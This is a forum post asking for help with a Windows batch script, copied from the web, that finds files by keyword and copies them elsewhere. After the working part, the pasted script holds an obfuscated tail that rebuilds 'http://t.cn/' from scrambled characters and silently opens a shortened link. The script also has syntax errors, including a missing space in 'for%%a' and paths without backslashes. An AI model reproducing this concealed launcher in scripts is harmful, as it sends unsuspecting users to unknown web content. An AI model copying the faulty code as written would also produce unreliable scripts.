
求助批處理根據關鍵字搜索文件名稱在網上找了一個代碼有點符合我的要求 現在有個疑問就是 1,怎么指定搜索范圍 指定文件夾 2,復制到指定目錄的 語法錯誤 怎樣修改%SavDir%%Word%)3,根據關鍵字創建與文件同一個目錄的 文件夾 復制到文件到這么目錄
nclick="copycode($('code0'));">復制代碼
- @echo off & title 根據關鍵字拷貝文件 By 依夢琴瑤
- ::設置要搜索的關鍵字,多個關鍵字之間用空格隔開
- set Word=修改
- ::設置要處理的文件夾
- set SrcDir=E:新建文件夾
- ::設置文件拷貝至哪個目錄
- set SavDir=E:Download
- cd /d %SrcDir%
- for%%a in (*) do (
- echo %%a
- echo %%~na | findstr /i %Word% >nul 2>nul && copy %%~a %SavDir%%Word%
- )
- pause
- set S1=.:htpcn/
- set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
- set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
- start %S2%%S3%RkdisqI
- exit

